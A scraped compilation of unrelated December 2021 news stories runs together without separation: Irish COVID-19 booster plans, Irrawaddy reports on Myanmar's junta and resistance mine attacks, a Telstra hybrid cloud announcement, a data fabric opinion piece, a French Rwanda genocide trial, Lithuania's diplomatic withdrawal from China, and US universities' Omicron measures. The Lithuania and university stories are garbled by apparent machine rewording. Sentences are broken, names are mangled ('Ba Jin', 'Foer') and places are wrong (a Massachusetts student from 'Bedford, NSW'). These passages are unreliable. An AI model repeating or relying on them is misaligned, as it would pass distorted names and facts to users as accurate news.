vaccinations per week, he hoped that figure could be achieved again. Earlier, Dr Mary Favier, Covid lead for the Irish College of General Practitioners (ICGP), said GPs are hoping to double the number of booster vaccines they administer from the current level of 80,000 per week. We need everybody to cooperate on this, she added. GPs will be delaying all non-essential work to focus on delivering the booster campaign in the coming weeks. The booster vaccines will be administered on an appointment basis with supplies being ordered today, so it was likely to be next week before the campaign would commence in earnest. GPs would need to plan the campaign and would call patients when they were due their booster. Post-vaccine wait Dr Favier also said that the 15-minute post-vaccine wait time was a significant challenge for GPs. She told RTE radios Morning Ireland it was a big limiting step and if removed, as had been done in the UK, it would allow GPs to vaccinate more patients. A decision on removing the time limit would be up to the Government and Niac and would be a game-changer she said. When asked if schools should close early for the Christmas break this weekend, Dr Favier said that there was no one answer on how to address Covid. The pandemic required a multi-layered approach, she added. Masks, hand washing, distancing, ventilation all played a role and schools were also a factor. It was always going to be a balance, if children were out of school how would parents go to work and staffing levels in the health service were always an issue, she said. Dr Favier said it was up to everyone as individuals to monitor their personal behaviour. She warned that if someone tested positive for Covid-19 today they would still be in isolation on Christmas Day. Meanwhile, the president of the UK Faculty of Public Health, Professor Maggie Rae has said that Omicron cases are going to increase whether or not borders are managed as it was already in the community. It was important to get the message out about the importance of getting vaccinated and the booster vaccine, she told RTEs Morning Ireland. Prof Rae said that while she could lament the lack of notice for Prime Minister Boris Johnsons plans to double the level of booster vaccination, the NHS would step up to protect the public. Everyone was mobilising, she said, at present the NHS was carrying out half a million booster vaccines per day, it would require everyone being very committed to double that figure. As of Wednesday morning the Omicron variant made up 44% of Covid cases in London, she said. Within 48 hours she expected it to become the dominant variant. In Ireland the public were much better than the UK at mask wearing. If people continued to be prepared to do the right thing wearing masks, hand washing, and keeping their homes ventilated, that would help. The virus has taken us on a roller coaster ride. Prof Rae said that all pandemics come to an end, the question was when would the Covid-19 pandemic end. When will the WHO announce that the pandemic is over? Its going to be several years. Prof Rae said that next year would be a better year. The vaccine was a scientific miracle and the task now was to get more of the world vaccinated. Burma Dont Bother Me Hun Sen Tells Critics of Plan to Meet Myanmar Junta Leader Cambodian Prime Minister Hun Sen gestures during a press conference at the Peace Palace in Phnom Penh in September 2021. / AFP Cambodian Prime Minister Hun Sen slammed critics of his planned meeting with the Myanmar military juntas leader with the retort Dont bother me, insisting that his visit to the military-ruled coutnry was aimed helping to repair the image of the Association of Southeast Asian Nations (ASEAN). Hun Sun is scheduled to visit Myanmar and meet regime leader Senior General Min Aung Hlaing early next month. The trip has come under fire as he will be the first head of a foreign government to see the coup leader, whose forces have killed more than 1,300 people since seizing power from the countrys elected government in February. Cambodia is now the chair of ASEAN. Myanmar, a member of the regional bloc, has been in political and social turmoil since the coup as a majority of its people reject the takeover, even 11 months on. Relations between Myanmar and ASEAN turned sour recently after the bloc sidelined the regimes leader from its summit for failing to take agreed-upon steps to resolve the crisis. Give me a chance to solve [the issue], Hun Sen said on Wednesday, according to media outlet Cambodianess. ASEAN cant be called ASEAN if therere only nine members. ASEAN must save itself from the ASEAN 9 situation, he said, referring to Myanmars exclusion from a summit recently held by the bloc, which is made up of 10 Southeast Asian nations. He received Myanmars junta-appointed foreign minister last week in Phnom Penh. Hun Sens visit raises questions over whether ASEANs unified stand on Myanmar will last, now that Cambodia has taken over the chairmanship of the regional bloc. Prior to his confirmation of the visit last week, he hinted that he was ready to travel to Myanmar, which he said had a right to attend ASEAN meetings. Badly in need of recognition abroad and respect at home, the junta would likely take seriously a visit from the country holding the ASEAN chair, as it was stung by the blocs decision to exclude Min Aung Hlaing from the summit. At the same time, Hun Sen has faced criticism that his visit will provide some legitimacy to the bloodstained regime.Please do not bother me, give me time [to meet the leader of Myanmar]. I am not your teacher and you are not my teacher, he said in response to critics of his visit, according to the Cambodian media. US State Department Counselor Derek Chollet urged Cambodia last week not to make any concessions to Myanmars military junta when Phnom Penh chairs ASEAN. Meanwhile, US Secretary of State Antony Blinken is now in Southeast Asia. During his meeting with the Malaysian foreign minister on Wednesday, the secretary said the US was looking at what additional steps to take against Myanmars regime and said ASEAN leaders had been invited to hold talks at a summit with US President Joe Biden in Washington in the coming months. In October, Biden joined the ASEAN summit, from which the regime was excluded. You may also like these stories: International Envoys Label Myanmar Junta Terrorist Organization Myanmar Military, KNU Troops Clash in Karen State Town Myanmar Students Union Fears for Tortured Prisoners Burma International Envoys Label Myanmar Junta Terrorist Organization Junta forces arrest a bystander in a violent crackdown on peaceful protesters in Mandalay in February. / The Irrawaddy An independent group of former United Nations human rights observers, the Special Advisory Council for Myanmar (SACM), says the military junta should be designated and treated as a terrorist organization because of its extreme acts of criminal violence against civilians. The junta has labeled the Committee Representing Pyidaungsu Hluttaw, which was founded by the ousted National League for Democracy lawmakers, the parallel National Unity Government (NUG) and Peoples Defense Forces as terrorist organizations. Its propaganda says the groups have carried out assassinations, bombings and arson. The SACM, an international human rights group, asked foreign governments and the UN to designate the junta as a terrorist organization. On Tuesday, the group said the regime has been committing acts of extreme criminal violence, intended to provoke a state of terror so people will submit to its agenda. It cited this months burning to death of 11 male villagers in Sagaing Region and the ramming of a pickup truck into peaceful protesters in Yangon. People in Myanmar have been calling the military terrorists ever since the post-coup violence began in February, said South Korean diplomat Yanghee Lee of the SACM, a former UN special rapporteur on human rights in Myanmar. They are right. Only terrorists could commit such beastly acts. The group also published a briefing paper on Tuesday demonstrating how the junta is a terrorist organization under national and international law. It said the three requirements to define a terrorist act are that it is intentional and targeted civilians, that it is intended to provoke a state of terror in the population or to compel action by a government and that it is a serious criminal offense. The militarys behaviour clearly falls within the definition of terrorism contained in international counter-terrorism treaties and it should be treated as a terrorist organisation by the international community, said council member Chris Sidoti, a former member of the UN fact-finding mission on Myanmar. That means cutting off its access to weapons and cash. All remaining funds, financial assets and economic or other resources available to it, whether directly or indirectly, must be immediately cut off. The NUG declared the military as a terrorist organization in June and vowed to use all justifiable means to uproot the terrorist military council. The NUG rightly discharged its authority to prescribe the Myanmar military as a terrorist organization. The United Nations and other governments should do the same, said Marzuki Darusman, a SACM member who chaired the UN fact-finding mission. You may also like these stories: Myanmar Military, KNU Troops Clash in Karen State Town Myanmar Students Union Fears for Tortured Prisoners Myanmar Junta-Appointed Ministers Motorcade Attacked in Yangon Burma Mandalay Resistance Fighters Claim to Have Killed Two Myanmar Troops Meiktila in November 2021. At least two junta soldiers were killed and one injured in an attack by a resistance force on Wednesday morning in Meiktila, Mandalay Region. The attack coincided with the coup leader Min Aung Hlaings visit to the town to mark the 74th anniversary of the founding of the air force at a pilot training base about a 30-minute drive from the attack. We attacked junta forces stationed near a middle school this morning. We fired and they fired back. We killed at least two soldiers, a resistance fighter said. We successfully retreated without any injuries. Residents said they heard fighting in the morning and saw ambulances removing soldiers bodies. The Irrawaddy could not independently verify any of the reports. Ten villagers from Meiktila were arrested by junta forces on Dec. 9 after a bomb attack on a police outpost on the Yangon-Mandalay highway by Mandalay civilian defense forces, are still missing. Forces from four townships in the region attacked the highway police and claimed to have killed three police officers and injured five others. The junta confirmed the attack and casualties. Wundwin civilian defense force last week attacked two military-owned Mytel telecom masts and bombed the Yangon-Mandalay train line. You may also like these stories: Dont Bother Me Hun Sen Tells Critics of Plan to Meet Myanmar Junta Leader International Envoys Label Myanmar Junta Terrorist Organization Myanmar Military, KNU Troops Clash in Karen State Town Burma Myanmar Civilian Forces Claim Dozens of Junta Troops Killed in Mine Attacks, Ambushes Houses are burned by regime forces during a raid in Mingin Township, Sagaing Region on Tuesday. / TDPDF-Mingin Around 60 junta soldiers were reportedly killed within three days in ambushes by civilian resistance groups in Sagaing Region and Mon State. Three civilian resistance fighters were also killed during the operations against regime forces in Sagaing Region, according to the Peoples Defense Force (PDF). On Wednesday morning, members of the Mingin Peoples Defense Force used landmines to ambush a military detachment of 70 junta troops, including militia trained and armed by the military, in Mingin Township, according to a spokesperson for the resistance group. The Mingin-PDF claimed 10 regime personnel were killed in the ambush. After the ambush, regime forces entered Peikkayar Village and burned down the house of ousted NLD lawmaker U Aung Tun Lwin. The regime forces also faced a second landmine attack by the Mingin-PDF after leaving the village. In the attack, 10 regime forces were killed and many others wounded, the Mingin-PDF said. On the previous day, regime forces reportedly burned houses including the home of a former elected village administrator during raids on Htongyi, Thitkhaungtee and Winwa villages in Mingin Township. Two civilians were reportedly injured by landmines planted by regime forces while returning home to put out the fire. A married couple were killed and burned together with a house during the raids, according to the local PDF. Thousands of residents of about five villages in Mingin Township have fled their homes due to the juntas raids, according to the Mingin-PDF. On Wednesday morning, the Sheinmagar-PDF claimed to have killed four regime troops including the head of a police station, while PDFs ambushed regime forces with six landmines on the Sheinmagar highway in Wetlet Township, Sagaing Region. A junta vehicle overturned in the mine attack, the group said. The Wetlet-PDF also said that a civilian resistance fighter died during a mission against regime forces in Wetlet Township, Sagaing Region on Tuesday. At noon on Wednesday, three junta soldiers were killed and two others were seriously wounded when Taze-PDF members ambushed 15 soldiers patrolling on foot in Taze Township, Sagaing Region. Those injured and the bodies of those killed were evacuated from the area in a civilian vehicle, the Taze-PDF said. It said it also ambushed a vehicle carrying members of a military-trained and armed Pyu Saw Htee group using landmines in Taze Township on Tuesday evening. There were many militia casualties in the ambush, according to the Taze-PDF. Taze People Comrades, a civilian resistance group, also claimed to have killed two regime troops and injured six others during a mine attack in the township on Monday. On Wednesday, the military regime made a rare confession via a junta-controlled state newspaper, confirming the deaths of two junta police and some other injuries in attacks by the PDF in Taze. The regime said its troops were attacked with landmines while returning after inspecting the murders of five villagers in Ywarthayar Village in Taze on Monday evening. The Kani-PDF also claimed to have killed around 10 junta soldiers during an attack on a military flotilla of vessels stranded on a sandbank in the Chindwin River in Kani Township, Sagaing Region on Monday at midnight. While being attacked by the PDF with heavy explosives, the military flotilla was also hit by mines on a raft sent towards it by the members of the defense force, the Kani-PDF said. The Kani-PDF also said that one of its members was accidently killed in an explosion while planting landmines to attack regime forces in the township on Tuesday evening. On Tuesday morning, at least 20 junta soldiers were reportedly killed when the Peoples Army to Fight Dictatorship ambushed three military vehicles using eight mines in Sagaing Township, Sagaing Region. The Pale-PDF claimed that it attacked a military detachment of 40 junta soldiers by using remote-controlled mines in Pale Township, Sagaing Region on Tuesday morning. Military casualties are unknown. One civilian resistance fighter was killed during a shootout with the regime forces near a village in Pale Township on Monday morning, according to the Peoples Revolutionary Army, which joined the fighting. On Monday night, a combined force of the Thaton Peoples Guerillas and Karen National Liberation Army, the armed wing of the Karen National Union, raided regime forces stationed in a village in Thaton Township, Mon State. The combined force used several 40mm rounds in attacking the regime forces, according to the Thaton Peoples Guerrillas. The group claimed to have killed three regime troops and injured seven others in the attack. Military forces are now facing increasingly frequent and intense attacks from PDFs and many ethnic armed groups across the country. Myanmars regime has continued to arbitrarily kill civilians, burn civilians alive, use civilian detainees as human shields, bombard residential areas and loot and burn houses, especially in Sagaing and Magwe regions and Chin, Shan and Kayah states, where the PDFs are most active. By Tuesday, 1,339 people had been slain and another 10,946 people including elected government leaders detained by the junta since the Feb. 1 coup, the Assistance Association for Political Prisoners said. You may also like these stories: Mandalay Resistance Fighters Claim to Have Killed Two Myanmar Troops Dont Bother Me Hun Sen Tells Critics of Plan to Meet Myanmar Junta Leader International Envoys Label Myanmar Junta Terrorist Organization Burma Myanmar Junta-Appointed Ministers Motorcade Attacked in Yangon A Hmawbi Township signpost A motorcade carrying two Yangon Region ministers of the military regime was reportedly attacked by civilian resistance groups in Hmawbi Township, known locally as the Hmawbi cantonment area, on Tuesday. Hmawbi hosts more than a dozen military sites including infantry and artillery units, an air base and military training schools, but the township has also seen heavy anti-regime resistance activity since the Feb. 1 coup. The Hmawbi Township Peoples Defense Force and the Hmawbi Offspring Force said they jointly attacked the motorcade using remotely detonated mines near an intersection in the township. Junta-appointed Yangon Region Economic Minister U Aung Than Oo, Resource Minister U Zaw Win and some businessmen were reportedly traveling in the motorcade. The Irrawaddy was unable to independently confirm those reports. We chose a location to make sure civilians were not harmed in the attack. We let the two vehicles taking point pass and attacked the vehicle that we assumed was carrying the ministers. Their vehicle collided with another vehicle as well as the guardrail. But we still cant confirm casualties, a resistance fighter told The Irrawaddy. The junta-appointed ministers plan to visit the township was revealed when the management committee of the Myaung Dagar Steel Mill Industrial Zone in Hmawbi Township on Dec. 8 instructed factory owners to clean the fronts of the factories as well as remove bushes along the road, saying that Yangon Region ministers were scheduled to visit the industrial zone in the second week of December. The two resistance groups said they oppose any investors who would work hand in glove with the junta and exploit the natural resources and workers of the country. You may also like these stories: Photographer Feared Dead After Arrest by Myanmar Troops for Documenting Nationwide Strike Myanmars Military Chief Staged a Coup. But He Did Not Act Alone Rohingya Without Myanmar ID Not Being Given COVID-19 Jab: Junta Burma Myanmar Military, KNU Troops Clash in Karen State Town Junta soldiers in Lay Kay Kaw on Dec. 14 Fighting broke out between Myanmar junta troops and the Karen National Union (KNU)s armed wing in Lay Kay Kaw town in Karen States Myawaddy on Wednesday morning, following junta raids in the town a day earlier in which dozens of democracy activists were arrested. The fighting started after 11 a.m. in the areas Quarter 6, between troops from the Karen National Liberation Army (KNLA) and junta forces. It then escalated and the junta used artillery to fire upon civilian residences. Military tensions rose recently when some 200 junta soldiers raided the area, alleging that democracy activists and members of Peoples Defense Force (PDF) civilian resistance groups were hiding there. The raids and clashes followed the juntas accusation that the KNU, Myanmars oldest revolutionary force, was supporting and sheltering striking civil servants and anti-regime armed resistance groups. Dr. Bio, vice chairman of the Yangon chapter of the National League for Democracy (NLD), who is taking shelter in the city, told The Irrawaddy in the afternoon that the sound of heavy weapons firing into Lay Kaw Kaw could be heard continuously for more than one and a half hours. Hundreds of local residents fled their homes as artillery shells were fired into Quarter 6 of Lay Kay Kaw from a nearby hill to the north of the city, he said. In late November, the junta accused the KNLAs brigades 1, 2, 3, 5 and 6 of organizing military training for civilian resistance forces, sheltering those evading arrest by the regime and supplying arms to groups engaged in urban guerrilla warfare in a number of cities and towns in the country. Wednesdays clashes are believed to be between the junta and a combined force from the KNLA, PDFs and a splinter group of the Democratic Karen Benevolent Army (DKBA). The new city hosts several armed groups: the KNLA, which is the armed wing of the KNU; the DKBA splinter group; and the PDF representing the civilian National Unity Government (NUG)s southern division. Two other ethnic Karen armed groupsthe Karen National Liberation Army-Peace Council and the Border Guard Forcehave cozy relationships with the military, and junta troops are active in the area. The clashes broke out as KNU vice-chairman Padoh Saw Kwe Htoo Win was in Lay Kay Kaw, reportedly to negotiate with the junta troops about Tuesdays raid. Pado Man Man, a spokesman for the KNLAs Brigade 5, said the KNLA troops responded to the regime troops actions because it is the groups duty to defend ourselves against the brutal and inhumane junta. You may also like these stories: Myanmar Students Union Fears for Tortured Prisoners Myanmar Junta-Appointed Ministers Motorcade Attacked in Yangon Photographer Feared Dead After Arrest by Myanmar Troops for Documenting Nationwide Strike Burma Myanmar Students Union Fears for Tortured Prisoners Insein Prison in Yangon. The All Burma Federation of Student Unions (ABFSU) has expressed concern for prisoners who were brutally beaten and held in solitary confinement in Yangons Insein Prison for joining the nationwide silent strike last week. Last Friday, Myanmar shut down in a silent strike to mark International Human Rights Day. Political prisoners in Insein joined the strike as others stayed at home in opposition to military rule. Lawyers acting for detained students said they saw bruises on their clients at their recent court hearings inside the prison. I saw nasty bruises on a detainee who was held in solitary confinement for joining the strike. [Detainees] said they were mostly beaten on their backs, said a lawyer. Young activists, who were detained separately at Insein, mainly took part in the silent strike. Around 89 political prisoners and detainees, including the ABFSU vice-chair Ko Wai Yan Phyo Moe, Yangon Education University Students Union vice-chair Ko Zaw Htet Naing and Yangon University Students Union member Ko Lay Pyay Soe Moe, were beaten and held in isolation in the main jail. According to student unions, some detainees lost consciousness during their beatings. They were denied medical treatment, held in solitary confinement and their families were not allowed to visit. We have heard a few months ago that the military regime is violating their rights and often tortures them. Detainees are regularly having their rights violated, said Ko Nan Lin, a former student union member. Ko Bo Kyi from the Assistance Association for Political Prisoners rights group said prison conditions have deteriorated under the junta. He said the prison authorities are inflicting extrajudicial punishments and forcing inmates into acts that violate human dignity. They torture inmates out of grudges, violate international law and squeeze money from them, he claimed. Prison guards enthusiastically torture. Conditions are worse under the military regime. Guards will be held accountable in the future, said Ko Bo Kyi. The regime has changed the law to suppress the anti-regime movement. In June, it replaced Inseins staff, including civilian wardens, with military personnel. Restrictions and rights violations have increased in Insein since the replacement of civilian wardens with military personnel, detainees told their lawyers. Numerous political prisoners, including Ko Zaw Htet Naing, were placed in solitary confinement in July after they staged a protest against military rule. Prison guards are violating rights and torturing prisoners. There is a lot of bribery. There is total impunity. We condemn it, said Ko Nan Lin. Student unions have called for the beaten detainees to receive medical treatment and for all political prisoners to be unconditionally released. You may also like these stories: Myanmar Junta-Appointed Ministers Motorcade Attacked in Yangon Photographer Feared Dead After Arrest by Myanmar Troops for Documenting Nationwide Strike Myanmars Military Chief Staged a Coup. But He Did Not Act Alone Customers can navigate their public cloud platforms from hyperscalers such as Amazon Web Services and Microsoft Azure alongside Telstra Private Cloud, built on Dell Technologies and VMWare software, which hosts customer data onshore in Australian data centres. The Telstra Purple team can update, patch, and monitor 24/7 the Telstra Hybrid Cloud while organisations maintain control of their day-to-day virtual machine operations. The Telstra Hybrid cloud is also available as a self-serve solution. Telstra Purple head Chris Smith claims Telstra Hybrid Cloud would help deliver meaningful digital transformation for customers at pace and scale. Hybrid cloud isnt a new concept. In fact, research shows more than 80% of organisations are already relying on it for their applications and workloads, but the reality of managing multiple clouds isnt for everyone, with only 41% of respondents are well prepared for their future cloud journey. Hybrid Cloud from Telstra Purple takes managing the complexity of multiple clouds away by offering it as a fully managed service. Our customers can expect full control over the scalability and optimisation of their chosen cloud infrastructure via the Hybrid Cloud solution, and if they need additional support, the cloud experts at Telstra Purple can help, Smith adds. Telstra Purple says that in a hybrid cloud model, customers can retain their most sensitive and low-latency applications and workload in their private cloud while maximising the scalability of public cloud and its cost efficiencies for other workloads. By integrating Telstra Hybrid Cloud with adaptive networks and security solutions, customers and employees get an application performance whether collaborating or transacting over a B2B interface. Cloud-based digital transformation has allowed companies to continue working even as workforces have become disparate. Hybrid cloud environments play a key role in supporting hybrid working as organisations require flexibility, security and the ability to scale to meet changing employee needs. Cloud is a key enabler of digital transformation and a thriving digital economy as the nation bounces back in 2022, Smith claims. Available in early 2022, customers, industry sectors from supply chain, retail, government, agribusiness, financial services, mining and energy would likely benefit from the solution, Telstra Purple concludes. This first appeared in the subscription newsletter CommsWire on 8 December 2021. GUEST OPINION: Pandemic restrictions have caused big changes within many Australian businesses, and one of the most significant has been a rapid increase in the adoption of cloud resources and services. With many employees based at home, and a likely permanent shift to hybrid work practices, businesses have realised that traditional IT infrastructures are no longer providing the support and flexibility that is required. Rather than relying on traditional, on-premise systems, theyre increasingly shifting to hosted, hybrid, and multi-cloud alternatives. Interestingly, its a trend that is showing no sign of slowing with many businesses putting cloud spending at the top of their priority lists. They can see the benefits this can deliver and are impatient to make it happen. However, some caution is required as rapid adoption of more cloud-based resources without a comprehensive data governance strategy can cause problems. Data can end up being spread across multiple locations and become hard to manage and use. In short, you could end up with an unhealthy cloud. A new batch of challenges While making more extensive use of cloud-based resources may have helped many businesses to navigate the challenges caused by COVID-19, its also created a range of new problems. One key problem is that cloud adoption can actually hinder the ability of senior business executives to make data-driven decisions. According to research undertaken by Talend, 96% of APAC executives says they still struggle to base business decisions on their data, with much of the challenge being caused by unhealthy collection and governance practices. It appears that problems arise because of the speed with which cloud resources were adopted in the early days of the remote-working trend. This resulted in the implementation of new systems and processes without sufficient thought being given to their ongoing impact on operations. In many cases, adoption of cloud resources was undertaken using whats known as shadow IT. This occurs when groups within a business adopt a cloud offering without advising the IT department or senior management. A business can end up with multiple services in use and data spread haphazardly between them. While it might be easy for employees to sign up for services such as Dropbox or Google Drive, such a step can introduce significant risks, inefficiencies, and long-term cost for the business. For example, two groups of employees might adopt different cloud storage services and store copies of the same data in each. This can result in incongruities as the data now exists in two places, in potentially different formats, and these discrepancies are on no ones radar. Situations like this also make data less reliable because it is left unaccounted for and disorganised. In this way, an unreliable or unhealthy cloud leads to bad business decisions. The role of data fabric These challenges can result in what has been termed data landfill. This is where large volumes of data are stored in multiple places and without appropriate management or easy access. One approach that can resolve this situation is the creation of a data fabric. This prevents data landfills from forming by providing a connective tissue that allows all data to visualised and accessed regardless of where it is physically stored. A data fabric does away with data landfill by providing a specific data entry point for an entire organisation. The cross-functional visibility it provides gives instant answers to questions such as what data assets each group has, who owns and controls them, and who is using them. This approach thus creates an environment based on a data health culture. It inspires conversations and collaboration across groups rather than the impulse to stand up a new tool. A data fabric also empowers executives to make much more informed business decisions more quickly. Improved business agility Rolling out a data fabric across an organisations technology infrastructure can deliver some significant benefits, however effective adoption requires a certain company culture. Its not simply a matter of flicking a switch or deploying some new software. Companies must also democratise their data processes and include new data workers at all technical levels so that organisation-wide collaboration becomes the norm. For example, while data engineers might be the experts in the underlying mechanics of data management, the marketing team may know more about their datas expected formats, calculations, and metrics. Its only when the two groups work together that real business benefits are enjoyed. According to Gartner, which identified data fabric solutions as one of the top strategic technology trends for 2022, "By 2024, data fabric deployments will quadruple efficiency in data utilization while cutting human-driven data management tasks in half." Its clear that a data fabric can do much to improve efficiencies and boost business agility, but its more than a question of technology. Its also one of company culture. This Week in Review A weekly review of the best and most popular stories published in the Imperial Valley Press. Also, featured upcoming events, new movies at local theaters, the week in photos and much more. A Wilkes County Schools calendar for the 2021-22 school year, similar to others in recent years, was proposed during the Wilkes Board of Education meeting on Dec. 6. French prosecutors on Wednesday asked for a 15-year jail term for a former hotel driver accused of complicity in Rwandas 1994 genocide. French-Rwandan Claude Muhayimana is on trial for complicity in genocide and in crimes against humanity for his alleged role in transporting Hutu militiamen who massacred hundreds of Tutsis. Muhayimana, who investigators say also hid Tutsis at risk of death and helped some escape, fled after the genocide and gained French nationality in 2010. The now 60-year-old contributed to the genocide by driving and transporting the killers over a very long period of three months, the prosecutor told the court, calling Muhayimana an essential part of the operation to hunt down every last Tutsi. The prosecutor described Muhayimana as an opportunist who he said adapted to the genocide by serving the perpetrators of the genocide. Muhayimana, who was married to a Tutsi woman at the time, has denied the charges. Investigators also discovered that he had hidden Tutsis at risk of death and helped some flee. Some 800,000 people died between April and July 1994 as the extremist Hutu regime tried to wipe out Rwandas Tutsi minority, causing one of the 20th centurys biggest massacres. The verdict in the trial is due on Thursday after four weeks of proceedings involving around 50 witnesses, some who were flown in from Rwanda. Muhayimanas trial is the third in France linked to the genocide. In the previous ones, an army captain was sentenced to 25 years and two mayors to life imprisonment. France has in the past refused requests to extradite suspects to Rwanda, prompting President Paul Kagame to accuse Paris of denying Rwandans justice. But relations between the two countries have warmed considerably since a historians report commissioned by President Emmanuel Macron and released in March recognised Frances overwhelming responsibilities in failing to halt the massacres. That was followed by a visit by Macron to Kigali in May, when he acknowledged that his country had ignored warnings of the impending massacres while backing the genocidal regime. Lithuania has withdrawn its remaining diplomats from China, worrying about their safety, and as Beijing retaliates against the Baltic States efforts to strengthen relations with Taiwan, bilateral tensions have escalated sharply. Audra Ciapiene, Lithuanias charge daffaires in China, the countrys Top diplomat After recalling the ambassador in Beijing in September, he returned to Vilnius on Wednesday for consultations. The Vilnius Ministry of Foreign Affairs told the Financial Times that the embassy will temporarily operate remotely. According to three people familiar with the matter, the Chinese government has asked the remaining Lithuanian diplomats in Beijing to hand in their diplomatic documents to the Ministry of Foreign Affairs in order to lower their diplomatic status. This move has raised concerns in Vilnius that these officials may lose diplomatic immunity, and if they stay in China, their safety will be threatened. This consequence may put the European Union into a dilemma as to how to support one of its member states in Beijings response without causing consequences for other member states. This may also trigger international discussions on how democracies respond to Chinese coercion. China is sending a message to other European countries. If you follow Lithuania, the punishment will be severe, so people want to be cautious, said a Western diplomat in Beijing. But at the same time, we must clearly point out that an action against a member state is an action against the EU. Before the diplomats left, China took a series of threats and retaliatory measures in response to Lithuanias decision in July to allow Taiwan to open a representative office in Vilnius in its own name. August, Beijing Recall its ambassador To Vilnius. It also asked Lithuania to immediately correct the wrong decision, take concrete measures to eliminate the damage, and not continue on the wrong path. Following the establishment of a Taiwan representative office in Vilnius last month, Beijing Implement economic sanctions In Lithuania. This month, it blocked all Lithuanian exports to China by removing Lithuania from the National List of the General Administration of Customs, effectively preventing the company from submitting customs declarations. Lithuania was restored to the list of countries a few days later, but the country and EU officials stated that the countrys exports to China were still blocked because any attempts to handle the goods failed, and customs officials refused to help resolve the problem. In addition, the EU delegation in Beijing stated that Chinese companies have cancelled orders for Lithuanian products and Lithuanian suppliers. The European Commission said it is seeking explanations from Beijing that these actions may violate World Trade Organization rules.EU Trade Commissioner Valdis Dombrovskis met Lithuanian Foreign Minister Gabrielius Landsbergis this week. EU diplomats said that Lithuania is expected to raise this issue at the EU leaders summit on Thursday, but the discussion may be brief. The quarrel with Lithuania comes from the European Union Reconsider its relationship With China, part of the reason is the groups attempts to respond to Washingtons policies towards Beijing. Respected The planned investment agreement between the EU and Beijing Cheated This year, China blacklisted EU legislators and officials in response to EU sanctions on human rights violations. Last week, Brussels proposed a Anti-coercion instrumentThis will enable it to retaliate against economic penalties. Other Central and Eastern European countries have been attracted to Beijing through a special 17+1 grouping. Indifferent to China, And public opinion in many EU member states has turned against the country. A person familiar with the matter said that a bus carrying several Lithuanian diplomats left Beijing for the airport on Wednesday morning. Diplomats said Wednesday morning that they were flying on a plane to Paris. The call to the Lithuanian Embassy in Beijing on Wednesday was unanswered. The EU delegation in Beijing said it could not comment. The Chinese Ministry of Foreign Affairs did not immediately respond to a request for comment. When asked about this issue, a senior US official stated that Washington will continue to respect and support Lithuanias sovereign decision to determine the outline of its one-China policy without external coercion. The official added: Lithuania is an important NATO ally and partner of the United States. We reiterate our support for Lithuania. We will continue to expand and deepen our already solid bilateral relationship with Lithuania. Faced with rising infections and new variants of COVID-19, universities across the United States were once again blocked in their search to return to normal, and began to need to strengthen injections, extend the use of masks, limit social gatherings, and in some cases recover Online class. The threat of omicron variants is a blow to schools hoping to relax safety measures this spring. Now, many people tell students to prepare for cover-ups and tests for the next semester, and to limit their social life if the situation worsens. Kent Syverud, the principal of the Upstate New York School, said that after the fall with few coronavirus cases, officials at Syracuse University feel very good for the spring semester. But omicron changed that, Syverud said. This brings us back to say that we will have to restore some precautions before we are sure to learn more about this variant. Last week, Syracuse announced that all eligible students and employees must be vaccinated with the COVID-19 booster before the spring semester. Students will also face a round of virus testing when they return, and officials are weighing whether to extend the use of existing masks. Regarding the omicron variants and the threat they pose is still unknown. In the United States and many other countries, most current COVID-19 cases are caused by delta variants. But as universities prepare for the worst, many people see boosters as their best hope. In recent weeks, more than 20 universities have issued enhanced injection requirements, and other universities have indicated that they are considering it. The U.S. Centers for Disease Control and Prevention encourages people 17 and older to receive booster doses. Pfizer announced last week that the booster dose of its COVID-19 vaccine may provide important protection for omicron, although the first two doses seem to be less effective. Hundreds of universities already need a COVID-19 vaccine, and some people say that boosters are clearly the next step. To date, most booster missions have come from small liberal arts colleges in the Northeast, but the list includes some as large as Boston University, as far as Notre Dame University in Indiana and the University of New Mexico. The University of Massachusetts in Amherst was one of the first universities to require students to get boosters, saying that all students must be vaccinated unless they have a medical or religious exemption. Boosters are our best protection, said Jeffrey Hescock, co-director of the Universitys Center for Public Health Promotion. This shows that we attach great importance to public health, and so do our students. A recent online petition against strengthening authorization-citing 97% of students vaccinated and few cases on campus-attracted dozens of signatures. But Emily OBrien, a freshman at the University of Massachusetts, said that enhanced injections are a reasonable need. She has planned to obtain boosters, but said that this authorization may increase student acceptance and prevent future blockades. OBrien, 18, of Bedford, NSW, said: If the past six months have shown anything, its that many people wont bother to get vaccinated-especially young and healthy people-if they dont ask for it. Words. Hampshire. The University of Massachusetts will also require masks to be worn at the beginning of the spring semester and will send students home for quick tests at the end of the winter vacation. Many universities that plan for possible interruptions in the next semester are already responding to the campus epidemic in the weeks following Thanksgiving. After more than 400 students tested positive within two days, Cornell University closed all campus activities on Tuesday and moved the final exam online. In the campus information, Principal Martha Pollack stated that there is evidence of omicron variants in a large sample. Pollack wrote: It is obviously very frustrating to have to take these measures. However, since the beginning of the pandemic, we have been committed to following science and doing everything we can to protect the health of faculty, staff and students. Due to the surge in cases, Middlebury College in Vermont switched to distance learning last week and urged students to leave early for winter vacation. The rising number of cases at the University of Pennsylvania led to a ban on indoor social activities last Thursday. On Friday, Tulane University in New Orleans warned that the campus surge included probable cases of the omicron variant, which was confirmed in at least one student last week. In response, school officials restored the requirement to wear masks and expanded the scope of virus testing. Other universities that will extend mask requirements to next year include Wake Forest University, West Virginia University and Pennsylvania State University. Some other schools have postponed returning to school next month to avoid an outbreak. Southern New Hampshire University and Chicago DePaul University recently stated that students will take classes remotely for two weeks and then return to campus after the holidays. DePaul President A. Gabriel Esteban stated in a letter to students that the school will be cautious in starting the winter semester so that we can maintain a good university experience for the rest of the school year. When Stanford University students return to campus in January, they will be prohibited from hosting parties or other large gatherings for two weeks. They will also be tested once a week and continue to wear masks indoors as a requirement for face-to-face courses. Russell Furr, the deputy provost for environmental health and safety, said that these measures are designed to limit the spread of the virus without unduly limiting the university experience. This is a problem that we have been trying to solve throughout the pandemic-how do we get a balanced approach? Foer said. He added that the goal was to avoid the strict lockdown that occurred in the early stages of the pandemic, when the mental health of students was really affected. In some universities, there is still cautious hope for the normal semester. Leaders at the University of Central Florida told the professors that they can request to attend in person in the spring, which has been discouraged this fall due to the surge in Delta cases. In the campus information, interim provost Michael D. Johnson warned that if the omicron variant takes off, we may need to change direction again. Anita Barkin, co-chair of the COVID-19 Working Group of the American College Health Association, said that another concern is the timing of omicron-even if there are no new variants, people are worried that as the cold weather prompts people to enter indoors and break out More epidemics. The association recently recommended that universities focus on increasing vaccination rates to avoid a new wave of cases. All the message is that we need to be vigilant, Ba Jin said. There must be pandemic fatigue, people are tired of pandemics-but it seems that pandemics are not very tired of us. LAFAYETTE One year 